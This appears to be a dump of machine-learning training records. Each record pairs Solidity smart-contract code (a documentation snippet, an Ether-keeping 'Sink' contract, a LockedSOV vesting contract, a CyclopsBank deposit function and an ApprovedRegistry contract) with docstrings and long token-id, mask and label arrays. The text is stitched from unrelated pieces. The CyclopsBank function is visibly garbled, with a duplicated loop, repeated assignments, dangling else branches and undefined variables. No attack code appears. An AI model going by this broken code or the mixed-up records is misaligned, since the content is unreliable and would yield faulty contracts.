// results in test.x becoming == 1.
// address(test) will not allow to call ``send`` directly, since ``test`` has no payable
// fallback function. It has to be converted to the ``address payable`` type via an
// intermediate conversion to ``uint160`` to even allow calling ``send`` on it.
address payable testPayable = address(uint160(address(test)));
// If someone sends ether to that contract,
// the transfer will fail, i.e. this returns false here.
return testPayable.send(2 ether);
}
}
| This contract keeps all Ether sent to it with no way to get it back. | contract Sink {
function() external payable {
}
}
| 979,449 | [
1,
2503,
6835,
20948,
777,
512,
1136,
3271,
358,
518,
598,
1158,
4031,
358,
336,
518,
1473,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
28330,
288,
203,
565,
445,
1435,
3903,
8843,
429,
288,
203,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.17;
import "../openzeppelin/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../governance/Vesting/VestingRegistry.sol";
import "../governance/Vesting/VestingLogic.sol";
import "./ILockedSOV.sol";
/**
* @title The Locked SOV Contract.
* @author Franklin Richards - [email protected]
* @notice This contract is used to receive reward from other contracts, Create Vesting and Stake Tokens.
*/
contract LockedSOV is ILockedSOV {
using SafeMath for uint256;
uint256 public constant MAX_BASIS_POINT = 10000;
uint256 public constant MAX_DURATION = 37;
/* Storage */
/// @notice True if the migration to a new Locked SOV Contract has started.
bool public migration;
/// @notice The cliff is the time period after which the tokens begin to unlock.
uint256 public cliff;
/// @notice The duration is the time period after all tokens will have been unlocked.
uint256 public duration;
/// @notice The SOV token contract.
IERC20 public SOV;
/// @notice The Vesting registry contract.
VestingRegistry public vestingRegistry;
/// @notice The New (Future) Locked SOV.
ILockedSOV public newLockedSOV;
/// @notice The locked user balances.
mapping(address => uint256) private lockedBalances;
/// @notice The unlocked user balances.
mapping(address => uint256) private unlockedBalances;
/// @notice The contracts/wallets with admin power.
mapping(address => bool) private isAdmin;
/* Events */
/// @notice Emitted when a new Admin is added to the admin list.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _newAdmin The address of the new admin.
event AdminAdded(address indexed _initiator, address indexed _newAdmin);
/// @notice Emitted when an admin is removed from the admin list.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _removedAdmin The address of the removed admin.
event AdminRemoved(address indexed _initiator, address indexed _removedAdmin);
/// @notice Emitted when Vesting Registry, Duration and/or Cliff is updated.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _vestingRegistry The Vesting Registry Contract.
/// @param _cliff The time period after which the tokens begin to unlock.
/// @param _duration The time period after all tokens will have been unlocked.
event RegistryCliffAndDurationUpdated(
address indexed _initiator,
address indexed _vestingRegistry,
uint256 _cliff,
uint256 _duration
);
/// @notice Emitted when a new deposit is made.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _userAddress The user to whose un/locked balance a new deposit was made.
/// @param _sovAmount The amount of SOV to be added to the un/locked balance.
/// @param _basisPoint The % (in Basis Point) which determines how much will be unlocked immediately.
event Deposited(
address indexed _initiator,
address indexed _userAddress,
uint256 _sovAmount,
uint256 _basisPoint
);
/// @notice Emitted when a user withdraws the fund.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _userAddress The user whose unlocked balance has to be withdrawn.
/// @param _sovAmount The amount of SOV withdrawn from the unlocked balance.
event Withdrawn(address indexed _initiator, address indexed _userAddress, uint256 _sovAmount);
/// @notice Emitted when a user creates a vesting for himself.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _userAddress The user whose unlocked balance has to be withdrawn.
/// @param _vesting The Vesting Contract.
event VestingCreated(
address indexed _initiator,
address indexed _userAddress,
address indexed _vesting
);
/// @notice Emitted when a user stakes tokens.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _vesting The Vesting Contract.
/// @param _amount The amount of locked tokens staked by the user.
event TokenStaked(address indexed _initiator, address indexed _vesting, uint256 _amount);
/// @notice Emitted when an admin initiates a migration to new Locked SOV Contract.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _newLockedSOV The address of the new Locked SOV Contract.
event MigrationStarted(address indexed _initiator, address indexed _newLockedSOV);
/// @notice Emitted when a user initiates the transfer to a new Locked SOV Contract.
/// @param _initiator The address which initiated this event to be emitted.
/// @param _amount The amount of locked tokens to transfer from this contract to the new one.
event UserTransfered(address indexed _initiator, uint256 _amount);
/* Modifiers */
modifier onlyAdmin {
require(isAdmin[msg.sender], "Only admin can call this.");
_;
}
modifier migrationAllowed {
require(migration, "Migration has not yet started.");
_;
}
/* Constructor */
/**
* @notice Setup the required parameters.
* @param _SOV The SOV Token Address.
* @param _vestingRegistry The Vesting Registry Address.
* @param _cliff The time period after which the tokens begin to unlock.
* @param _duration The time period after all tokens will have been unlocked.
* @param _admins The list of Admins to be added.
*/
constructor(
address _SOV,
address _vestingRegistry,
uint256 _cliff,
uint256 _duration,
address[] memory _admins
) public {
require(_SOV != address(0), "Invalid SOV Address.");
require(_vestingRegistry != address(0), "Vesting registry address is invalid.");
require(_duration < MAX_DURATION, "Duration is too long.");
SOV = IERC20(_SOV);
vestingRegistry = VestingRegistry(_vestingRegistry);
cliff = _cliff * 4 weeks;
duration = _duration * 4 weeks;
for (uint256 index = 0; index < _admins.length; index++) {
isAdmin[_admins[index]] = true;
}
}
/* Public or External Functions */
/**
* @notice The function to add a new admin.
* @param _newAdmin The address of the new admin.
* @dev Only callable by an Admin.
*/
function addAdmin(address _newAdmin) public onlyAdmin {
require(_newAdmin != address(0), "Invalid Address.");
require(!isAdmin[_newAdmin], "Address is already admin.");
isAdmin[_newAdmin] = true;
emit AdminAdded(msg.sender, _newAdmin);
}
/**
* @notice The function to remove an admin.
* @param _adminToRemove The address of the admin which should be removed.
* @dev Only callable by an Admin.
*/
function removeAdmin(address _adminToRemove) public onlyAdmin {
require(isAdmin[_adminToRemove], "Address is not an admin.");
isAdmin[_adminToRemove] = false;
emit AdminRemoved(msg.sender, _adminToRemove);
}
/**
* @notice The function to update the Vesting Registry, Duration and Cliff.
* @param _vestingRegistry The Vesting Registry Address.
* @param _cliff The time period after which the tokens begin to unlock.
* @param _duration The time period after all tokens will have been unlocked.
* @dev IMPORTANT 1: You have to change Vesting Registry if you want to change Duration and/or Cliff.
* IMPORTANT 2: `_cliff` and `_duration` is multiplied by 4 weeks in this function.
*/
function changeRegistryCliffAndDuration(
address _vestingRegistry,
uint256 _cliff,
uint256 _duration
) external onlyAdmin {
require(
address(vestingRegistry) != _vestingRegistry,
"Vesting Registry has to be different for changing duration and cliff."
);
/// If duration is also zero, then it is similar to Unlocked SOV.
require(_duration != 0, "Duration cannot be zero.");
require(_duration < MAX_DURATION, "Duration is too long.");
vestingRegistry = VestingRegistry(_vestingRegistry);
cliff = _cliff * 4 weeks;
duration = _duration * 4 weeks;
emit RegistryCliffAndDurationUpdated(msg.sender, _vestingRegistry, _cliff, _duration);
}
/**
* @notice Adds SOV to the user balance (Locked and Unlocked Balance based on `_basisPoint`).
* @param _userAddress The user whose locked balance has to be updated with `_sovAmount`.
* @param _sovAmount The amount of SOV to be added to the locked and/or unlocked balance.
* @param _basisPoint The % (in Basis Point)which determines how much will be unlocked immediately.
*/
function deposit(
address _userAddress,
uint256 _sovAmount,
uint256 _basisPoint
) external {
_deposit(_userAddress, _sovAmount, _basisPoint);
}
/**
* @notice Adds SOV to the locked balance of a user.
* @param _userAddress The user whose locked balance has to be updated with _sovAmount.
* @param _sovAmount The amount of SOV to be added to the locked balance.
* @dev This is here because there are dependency with other contracts.
*/
function depositSOV(address _userAddress, uint256 _sovAmount) external {
_deposit(_userAddress, _sovAmount, 0);
}
function _deposit(
address _userAddress,
uint256 _sovAmount,
uint256 _basisPoint
) private {
// MAX_BASIS_POINT is not included because if 100% is unlocked, then LockedSOV is not required to be used.
require(_basisPoint < MAX_BASIS_POINT, "Basis Point has to be less than 10000.");
bool txStatus = SOV.transferFrom(msg.sender, address(this), _sovAmount);
require(txStatus, "Token transfer was not successful. Check receiver address.");
uint256 unlockedBal = _sovAmount.mul(_basisPoint).div(MAX_BASIS_POINT);
unlockedBalances[_userAddress] = unlockedBalances[_userAddress].add(unlockedBal);
lockedBalances[_userAddress] = lockedBalances[_userAddress].add(_sovAmount).sub(
unlockedBal
);
emit Deposited(msg.sender, _userAddress, _sovAmount, _basisPoint);
}
/**
* @notice A function to withdraw the unlocked balance.
* @param _receiverAddress If specified, the unlocked balance will go to this address, else to msg.sender.
*/
function withdraw(address _receiverAddress) public {
_withdraw(msg.sender, _receiverAddress);
}
function _withdraw(address _sender, address _receiverAddress) private {
address userAddr = _receiverAddress;
if (_receiverAddress == address(0)) {
userAddr = _sender;
}
uint256 amount = unlockedBalances[_sender];
unlockedBalances[_sender] = 0;
bool txStatus = SOV.transfer(userAddr, amount);
require(txStatus, "Token transfer was not successful. Check receiver address.");
emit Withdrawn(_sender, userAddr, amount);
}
/**
* @notice Creates vesting if not already created and Stakes tokens for a user.
* @dev Only use this function if the `duration` is small.
*/
function createVestingAndStake() public {
_createVestingAndStake(msg.sender);
}
function _createVestingAndStake(address _sender) private {
address vestingAddr = _getVesting(_sender);
if (vestingAddr == address(0)) {
vestingAddr = _createVesting(_sender);
}
_stakeTokens(_sender, vestingAddr);
}
/**
* @notice Creates vesting contract (if it hasn't been created yet) for the calling user.
* @return _vestingAddress The New Vesting Contract Created.
*/
function createVesting() public returns (address _vestingAddress) {
_vestingAddress = _createVesting(msg.sender);
}
/**
* @notice Stakes tokens for a user who already have a vesting created.
* @dev The user should already have a vesting created, else this function will throw error.
*/
function stakeTokens() public {
VestingLogic vesting = VestingLogic(_getVesting(msg.sender));
require(
cliff == vesting.cliff() && duration == vesting.duration(),
"Wrong Vesting Schedule."
);
_stakeTokens(msg.sender, address(vesting));
}
/**
* @notice Withdraws unlocked tokens and Stakes Locked tokens for a user who already have a vesting created.
* @param _receiverAddress If specified, the unlocked balance will go to this address, else to msg.sender.
*/
function withdrawAndStakeTokens(address _receiverAddress) external {
_withdraw(msg.sender, _receiverAddress);
_createVestingAndStake(msg.sender);
}
/**
* @notice Withdraws unlocked tokens and Stakes Locked tokens for a user who already have a vesting created.
* @param _userAddress The address of user tokens will be withdrawn.
*/
function withdrawAndStakeTokensFrom(address _userAddress) external {
_withdraw(_userAddress, _userAddress);
_createVestingAndStake(_userAddress);
}
/**
* @notice Function to start the process of migration to new contract.
* @param _newLockedSOV The new locked sov contract address.
*/
function startMigration(address _newLockedSOV) external onlyAdmin {
require(_newLockedSOV != address(0), "New Locked SOV Address is Invalid.");
newLockedSOV = ILockedSOV(_newLockedSOV);
SOV.approve(_newLockedSOV, SOV.balanceOf(address(this)));
migration = true;
emit MigrationStarted(msg.sender, _newLockedSOV);
}
/**
* @notice Function to transfer the locked balance from this contract to new LockedSOV Contract.
* @dev Address is not specified to discourage selling lockedSOV to other address.
*/
function transfer() external migrationAllowed {
uint256 amount = lockedBalances[msg.sender];
lockedBalances[msg.sender] = 0;
newLockedSOV.depositSOV(msg.sender, amount);
emit UserTransfered(msg.sender, amount);
}
/* Internal Functions */
/**
* @notice Creates a Vesting Contract for a user.
* @param _tokenOwner The owner of the vesting contract.
* @return _vestingAddress The Vesting Contract Address.
* @dev Does not do anything if Vesting Contract was already created.
*/
function _createVesting(address _tokenOwner) internal returns (address _vestingAddress) {
/// Here zero is given in place of amount, as amount is not really used in `vestingRegistry.createVesting()`.
vestingRegistry.createVesting(_tokenOwner, 0, cliff, duration);
_vestingAddress = _getVesting(_tokenOwner);
emit VestingCreated(msg.sender, _tokenOwner, _vestingAddress);
}
/**
* @notice Returns the Vesting Contract Address.
* @param _tokenOwner The owner of the vesting contract.
* @return _vestingAddress The Vesting Contract Address.
*/
function _getVesting(address _tokenOwner) internal view returns (address _vestingAddress) {
return vestingRegistry.getVesting(_tokenOwner);
}
/**
* @notice Stakes the tokens in a particular vesting contract.
* @param _vesting The Vesting Contract Address.
*/
function _stakeTokens(address _sender, address _vesting) internal {
uint256 amount = lockedBalances[_sender];
lockedBalances[_sender] = 0;
require(SOV.approve(_vesting, amount), "Approve failed.");
VestingLogic(_vesting).stakeTokens(amount);
emit TokenStaked(_sender, _vesting, amount);
}
/* Getter or Read Functions */
/**
* @notice The function to get the locked balance of a user.
* @param _addr The address of the user to check the locked balance.
* @return _balance The locked balance of the address `_addr`.
*/
function getLockedBalance(address _addr) external view returns (uint256 _balance) {
return lockedBalances[_addr];
}
/**
* @notice The function to get the unlocked balance of a user.
* @param _addr The address of the user to check the unlocked balance.
* @return _balance The unlocked balance of the address `_addr`.
*/
function getUnlockedBalance(address _addr) external view returns (uint256 _balance) {
return unlockedBalances[_addr];
}
/**
* @notice The function to check is an address is admin or not.
* @param _addr The address of the user to check the admin status.
* @return _status True if admin, False otherwise.
*/
function adminStatus(address _addr) external view returns (bool _status) {
return isAdmin[_addr];
}
}
| * @notice Withdraws unlocked tokens and Stakes Locked tokens for a user who already have a vesting created. @param _userAddress The address of user tokens will be withdrawn./ | function withdrawAndStakeTokensFrom(address _userAddress) external {
_withdraw(_userAddress, _userAddress);
_createVestingAndStake(_userAddress);
}
| 928,353 | [
1,
1190,
9446,
87,
25966,
2430,
471,
934,
3223,
3488,
329,
2430,
364,
279,
729,
10354,
1818,
1240,
279,
331,
10100,
2522,
18,
225,
389,
1355,
1887,
1021,
1758,
434,
729,
2430,
903,
506,
598,
9446,
82,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
1876,
510,
911,
5157,
1265,
12,
2867,
389,
1355,
1887,
13,
3903,
288,
203,
3639,
389,
1918,
9446,
24899,
1355,
1887,
16,
389,
1355,
1887,
1769,
203,
3639,
389,
2640,
58,
10100,
1876,
510,
911,
24899,
1355,
1887,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xF1cc25a6109dBC73B8e170C2aC021642e7A4A509/sources/CyclopsBank.sol | only 'unlocked' deposits | function exractableAmountsPerDeposits(address cust_wallet) external view returns (uint32[] memory, uint256[] memory) {
require(cust_wallet == msg.sender || msg.sender == owner || msg.sender == _own_address, "9");
require(dp_id != BAD_DEPOSIT_PROFILE_ID, "10");
uint256[] memory amounts = new uint256[](customers_deposits[index].dep_number);
uint32[] memory profileIds = new uint32[](customers_deposits[index].dep_number);
uint256 amount = 0;
for(uint256 i=0; i < customers_deposits[index].dep_number; i++){
Deposit memory dep = customers_deposits[index].deposits[i];
if (!depositIsActive(dep)){
amount = 0;
amount = 0;
amount = dep.deposit_amount;
}
amounts[i] = amount;
profileIds[i] = dep.deposit_profile_id;
}
return (profileIds, amounts);
for(uint256 i=0; i < customers_deposits[index].dep_number; i++){
Deposit memory dep = customers_deposits[index].deposits[i];
if (!depositIsActive(dep)){
amount = 0;
amount = 0;
amount = dep.deposit_amount;
}
amounts[i] = amount;
profileIds[i] = dep.deposit_profile_id;
}
return (profileIds, amounts);
} else if (!depositIsExtractable(dep)){
} else {
}
| 3,303,619 | [
1,
3700,
296,
318,
15091,
11,
443,
917,
1282,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
431,
14266,
429,
6275,
87,
2173,
758,
917,
1282,
12,
2867,
276,
641,
67,
19177,
13,
3903,
1476,
1135,
261,
11890,
1578,
8526,
3778,
16,
2254,
5034,
8526,
3778,
13,
288,
203,
3639,
2583,
12,
71,
641,
67,
19177,
422,
1234,
18,
15330,
747,
1234,
18,
15330,
422,
3410,
747,
1234,
18,
15330,
422,
389,
995,
67,
2867,
16,
315,
29,
8863,
203,
3639,
2583,
12,
9295,
67,
350,
480,
16467,
67,
1639,
28284,
67,
22462,
67,
734,
16,
315,
2163,
8863,
203,
540,
203,
3639,
2254,
5034,
8526,
3778,
30980,
273,
394,
2254,
5034,
8526,
12,
3662,
414,
67,
323,
917,
1282,
63,
1615,
8009,
15037,
67,
2696,
1769,
203,
3639,
2254,
1578,
8526,
3778,
3042,
2673,
273,
394,
2254,
1578,
8526,
12,
3662,
414,
67,
323,
917,
1282,
63,
1615,
8009,
15037,
67,
2696,
1769,
203,
3639,
2254,
5034,
3844,
273,
374,
31,
203,
3639,
364,
12,
11890,
5034,
277,
33,
20,
31,
277,
411,
29380,
67,
323,
917,
1282,
63,
1615,
8009,
15037,
67,
2696,
31,
277,
27245,
95,
203,
5411,
4019,
538,
305,
3778,
5993,
273,
29380,
67,
323,
917,
1282,
63,
1615,
8009,
323,
917,
1282,
63,
77,
15533,
203,
5411,
309,
16051,
323,
1724,
2520,
3896,
12,
15037,
3719,
95,
203,
7734,
3844,
273,
374,
31,
203,
7734,
3844,
273,
374,
31,
203,
7734,
3844,
273,
5993,
18,
323,
1724,
67,
8949,
31,
203,
5411,
289,
203,
2398,
203,
5411,
30980,
63,
77,
65,
273,
3844,
31,
203,
5411,
3042,
2673,
63,
77,
65,
273,
5993,
2
] |
pragma solidity 0.4.24;
import "./interfaces/ApprovedRegistryInterface.sol";
import "./interfaces/KyberNetworkInterface.sol";
import "./interfaces/BillableInterface.sol";
import "./WETH.sol";
import "./base/math/SafeMath.sol";
import "./base/ownership/Ownable.sol";
/** @title Approved contract, tokens and gas prices. */
/** @author Kerman Kohli - <[email protected]> */
contract ApprovedRegistry is ApprovedRegistryInterface, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public approvedTokenMapping; // Exchange rate cache (in case Kyber is down).
mapping (address => bool) public approvedContractMapping;
KyberNetworkInterface public kyberProxy;
WETH public wrappedEther;
address[] public approvedContractArray;
address[] public approvedTokenArray;
event ContractAdded(address indexed target);
event ContractRemoved(address indexed target);
event TokenAdded(address indexed target);
event TokenRemoved(address indexed target);
event CachedPriceOverwritten(address indexed token, uint256 indexed price);
/**
* MODIFIERS
*/
modifier hasContractBeenApproved(address _contractAddress, bool _expectedResult) {
require(isContractAuthorised(_contractAddress) == _expectedResult, "The contract should be authorised");
_;
}
modifier hasTokenBeenApproved(address _tokenAddress, bool _expectedResult) {
require(isTokenAuthorised(_tokenAddress) == _expectedResult, "The token should be authorised");
_;
}
/**
* PUBLIC FUNCTIONS
*/
/** @dev Set the addresses for the relevant contracts
* @param _kyberAddress the address for the kyber network contract.
*/
constructor(address _kyberAddress) public {
// @TODO: Figure out how to add tests for this
kyberProxy = KyberNetworkInterface(_kyberAddress);
}
/** @dev Get exchange rate for token.
* @param _tokenAddress is the address for the token.
*/
function getRateFor(address _tokenAddress) public view returns (uint256) {
// If the token is the native currency, then the exchange rate is 1
if (_tokenAddress == address(wrappedEther)) {
return 1*10**18;
}
var (, rate) = kyberProxy.getExpectedRate(
ERC20(_tokenAddress),
ERC20(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee),
10**18
);
if (rate > 0) {
approvedTokenMapping[_tokenAddress] = rate;
return rate;
}
// Gas spike hence return cached value
uint256 cachedRate = approvedTokenMapping[_tokenAddress];
if (cachedRate == 0) {
// Fail safe in case Kyber gives 0
cachedRate = 66*10**14;
}
return cachedRate;
}
/** @dev Add an approved subscription contract to be used.
* @param _contractAddress is the address of the subscription contract.
*/
function addApprovedContract(address _contractAddress)
public
onlyOwner
hasContractBeenApproved(_contractAddress, false)
{
approvedContractArray.push(_contractAddress);
emit ContractAdded(_contractAddress);
}
/** @dev Add an approved token to be used.
* @param _tokenAddress is the address of the token to be used.
*/
function addApprovedToken(address _tokenAddress, bool _isWETH)
public
onlyOwner
hasTokenBeenApproved(_tokenAddress, false)
{
approvedTokenArray.push(_tokenAddress);
if (_isWETH == true && address(wrappedEther) == address(0)) {
wrappedEther = WETH(_tokenAddress);
}
emit TokenAdded(_tokenAddress);
}
/** @dev Remove an approved subscription contract.
* @param _contractAddress is the address of the subscription contract.
*/
function removeApprovedContract(address _contractAddress)
public
onlyOwner
{
for (uint256 i = 0; i < approvedContractArray.length; i++) {
if (approvedContractArray[i] == _contractAddress) {
approvedContractArray[i] = approvedContractArray[approvedContractArray.length - 1];
approvedContractArray.length--;
approvedContractMapping[_contractAddress] = false;
emit ContractRemoved(_contractAddress);
break;
}
}
}
/** @dev Remove an approved token to be used.
* @param _tokenAddress is the address of the token to remove.
*/
function removeApprovedToken(address _tokenAddress)
public
onlyOwner
{
for (uint256 i = 0; i < approvedTokenArray.length; i++) {
if (approvedTokenArray[i] == _tokenAddress) {
approvedTokenArray[i] = approvedTokenArray[approvedTokenArray.length - 1];
approvedTokenArray.length--;
approvedTokenMapping[_tokenAddress] = 0;
emit TokenRemoved(_tokenAddress);
break;
}
}
if (_tokenAddress == address(wrappedEther)) {
delete wrappedEther;
}
}
/** @dev Get approved contract array.
*/
function getApprovedContracts()
public
view
returns (address[])
{
return approvedContractArray;
}
/** @dev Get approved token array.
*/
function getApprovedTokens()
public
view
returns (address[])
{
return approvedTokenArray;
}
/** @dev Check if a subscription has been authorised.
* @param _contractAddress is the address of the contract.
*/
function isContractAuthorised(address _contractAddress) public returns (bool) {
require(_contractAddress != 0, "A valid contract was not passed");
bool contractFoundInRegistry = false;
for (uint256 i = 0; i < approvedContractArray.length; i++) {
if (approvedContractArray[i] == _contractAddress) {
contractFoundInRegistry = true;
break;
}
}
return contractFoundInRegistry;
}
/** @dev Check if a token has been authorised.
* @param _tokenAddress is the address of the token.
*/
function isTokenAuthorised(address _tokenAddress) public returns (bool) {
require(_tokenAddress != 0, "An empty token address was passed");
bool tokenFoundInRegistry = false;
for (uint256 i = 0; i < approvedTokenArray.length; i++) {
if (approvedTokenArray[i] == _tokenAddress) {
tokenFoundInRegistry = true;
break;
}
}
